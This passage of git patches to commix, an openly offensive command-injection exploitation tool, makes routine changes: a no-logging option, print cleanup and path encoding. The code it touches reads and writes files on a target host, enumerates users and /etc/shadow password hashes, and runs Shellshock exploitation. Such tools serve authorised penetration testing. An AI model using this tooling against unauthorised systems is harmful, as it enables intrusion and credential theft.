+str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -351,7 +360,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] @@ -366,7 +376,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -406,7 +417,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -416,7 +428,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -476,7 +489,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) output_file.close() count = 0 for line in sys_passes: @@ -488,7 +502,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: @@ -498,7 +513,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") print(fields[0]) output_file = open(filename, "a") - output_file.write(" " + fields[0]) + if not menu.options.no_logging: + output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -512,6 +528,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): cmd = menu.options.os_cmd + info_msg = "Executing '" + cmd + "' command." + print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) @@ -521,9 +539,10 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, return check_how_long, output else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print("\n") + Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL + "\n" - logs.print_logs_notification(filename, url) - raise SystemExit() + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(output)) + print(settings.SINGLE_WHITESPACE) """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index d306f0f4ae..771ad24642 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -47,7 +47,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True - new_line = "\n" + # new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = output @@ -65,15 +65,15 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, sys.stdout.flush() print(shell) output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The contents of file '" + info_msg += file_to_read + "' : " + shell + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Write to a file on the target host. @@ -83,8 +83,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) raise SystemExit() if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: @@ -92,11 +91,10 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 - content = base64.b64encode(content) + content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() else: warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": @@ -155,14 +153,12 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was created successfully!\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") + warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." + print(settings.print_warning_msg(warn_msg)) """ Upload a file on the target host. @@ -184,8 +180,8 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : @@ -214,14 +210,12 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was uploaded successfully!" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") + warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + print(settings.print_warning_msg(warn_msg)) """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 878f794768..8a06d385d2 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -531,8 +531,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - logs.print_logs_notification(filename, url) - raise SystemExit() + # logs.print_logs_notification(filename, url) + # raise SystemExit() if settings.VERBOSITY_LEVEL != 0 or not new_line: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index f3e07ab2c1..91ae71fff7 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -78,8 +78,9 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The hostname is " + str(shell) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." @@ -107,9 +108,10 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The target operating system is " + str(target_os) + info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: info_msg = "The target operating system is " + target_os @@ -117,8 +119,9 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The target operating system is " + str(target_os) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." @@ -140,8 +143,9 @@ def enumeration(url, cve, check_header, filename): sys.stdout.write(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() if shell: if shell != "0": @@ -149,14 +153,16 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is privileged.\n") output_file.close() else: info_msg = "The current user is " + str(cu_account) @@ -164,7 +170,8 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -199,7 +206,8 @@ def enumeration(url, cve, check_header, filename): sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] @@ -214,7 +222,8 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -253,7 +262,8 @@ def enumeration(url, cve, check_header, filename): print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -264,7 +274,8 @@ def enumeration(url, cve, check_header, filename): sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -309,7 +320,8 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) output_file.close() count = 0 for line in sys_passes: @@ -321,7 +333,8 @@ def enumeration(url, cve, check_header, filename): print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate (/etc/shadow) format except IndexError: @@ -332,7 +345,8 @@ def enumeration(url, cve, check_header, filename): sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") print(fields[0]) output_file = open(filename, "a") - output_file.write(" " + fields[0]) + if not menu.options.no_logging: + output_file.write(" " + fields[0]) output_file.close() else: warn_msg = "It seems that you don't have permissions to read '" @@ -352,8 +366,8 @@ def file_access(url, cve, check_header, filename): file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() if os.path.isfile(file_to_write): @@ -386,7 +400,7 @@ def file_access(url, cve, check_header, filename): shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" + info_msg += Style.BRIGHT + " file was created successfully." sys.stdout.write(settings.print_bold_info_msg(info_msg)) sys.stdout.flush() else: @@ -412,8 +426,8 @@ def file_access(url, cve, check_header, filename): raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() # Check the file-destination @@ -436,7 +450,7 @@ def file_access(url, cve, check_header, filename): if shell: info_msg = "The " + shell info_msg += Style.RESET_ALL + Style.BRIGHT - info_msg += " file was uploaded successfully!\n" + info_msg += " file was uploaded successfully.\n" sys.stdout.write(settings.print_bold_info_msg(info_msg)) sys.stdout.flush() else: @@ -461,9 +475,10 @@ def file_access(url, cve, check_header, filename): sys.stdout.flush() print(shell) output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The contents of file '" + info_msg += file_to_read + "' : " + shell + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " @@ -481,8 +496,8 @@ def file_access(url, cve, check_header, filename): def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + #if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) err_msg = "The " + os_shell_option.split("_")[0] + " " err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." diff --git a/src/utils/settings.py b/src/utils/settings.py index 89a3e10250..e9bf540e38 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "40" +REVISION = "41" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -477,11 +477,11 @@ def sys_argv_errors(): # Current user CURRENT_USER = "whoami" -WIN_CURRENT_USER = "echo %username%" +WIN_CURRENT_USER = "echo %USERNAME%" # The hostname HOSTNAME = "hostname" -WIN_HOSTNAME = "echo %computername%" +WIN_HOSTNAME = "echo %COMPUTERNAME%" # Check if current user is root IS_ROOT = "echo $(id -u)" From a14cefb3d8faa77ee0d2bf47cc9eca81b21d9de4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 24 Apr 2022 09:41:02 +0300 Subject: [PATCH 118/560] Fixes https://github.com/commixproject/commix/issues/752 --- .../blind/techniques/time_based/tb_file_access.py | 6 +++--- .../results_based/techniques/classic/cb_file_access.py | 6 +++--- .../results_based/techniques/eval_based/eb_file_access.py | 6 +++--- .../semiblind/techniques/file_based/fb_file_access.py | 6 +++--- .../semiblind/techniques/tempfile_based/tfb_file_access.py | 6 +++--- src/core/modules/shellshock/shellshock.py | 6 +++--- src/utils/settings.py | 2 +- 7 files changed, 19 insertions(+), 19 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 67f49ecee8..3294541324 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -34,7 +34,7 @@ """ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False - file_to_read = menu.options.file_read + file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -77,7 +77,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = True - file_to_write = menu.options.file_write + file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) @@ -168,7 +168,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec # Not yet implemented pass else: - file_to_upload = menu.options.file_upload + file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 20e6042e57..c887fcf06b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -35,7 +35,7 @@ Read a file from the target host. """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_read = menu.options.file_read + file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -74,7 +74,7 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u Write to a file on the target host. """ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write = menu.options.file_write + file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) @@ -165,7 +165,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, # Not yet implemented pass else: - file_to_upload = menu.options.file_upload + file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 087b629f8d..b8461834a3 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -35,7 +35,7 @@ Read a file from the target host. """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_read = menu.options.file_read + file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -76,7 +76,7 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u Write to a file on the target host. """ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write = menu.options.file_write + file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) @@ -156,7 +156,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, # Not yet implemented pass else: - file_to_upload = menu.options.file_upload + file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 7de75b13f1..fd78509b5b 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -34,7 +34,7 @@ Read a file from the target host. """ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - file_to_read = menu.options.file_read + file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -71,7 +71,7 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http Write to a file on the target host. """ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - file_to_write = menu.options.file_write + file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) @@ -150,7 +150,7 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht # Not yet implemented pass else: - file_to_upload = menu.options.file_upload + file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 771ad24642..c35b7d75a0 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -36,7 +36,7 @@ """ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False - file_to_read = menu.options.file_read + file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -80,7 +80,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = True - file_to_write = menu.options.file_write + file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) @@ -169,7 +169,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec # Not yet implemented pass else: - file_to_upload = menu.options.file_upload + file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 91ae71fff7..058a575e7e 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -363,7 +363,7 @@ def file_access(url, cve, check_header, filename): # Write to a file on the target host. #------------------------------------- if menu.options.file_write: - file_to_write = menu.options.file_write + file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) @@ -414,7 +414,7 @@ def file_access(url, cve, check_header, filename): # Upload a file on the target host. #------------------------------------- if menu.options.file_upload: - file_to_upload = menu.options.file_upload + file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) @@ -464,7 +464,7 @@ def file_access(url, cve, check_header, filename): # Read a file from the target host. #------------------------------------- if menu.options.file_read: - file_to_read = menu.options.file_read + file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() # Execute command cmd = "cat " + settings.FILE_READ + file_to_read shell, payload = cmd_exec(url, cmd, cve, check_header, filename) diff --git a/src/utils/settings.py b/src/utils/settings.py index e9bf540e38..7694fda06d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def 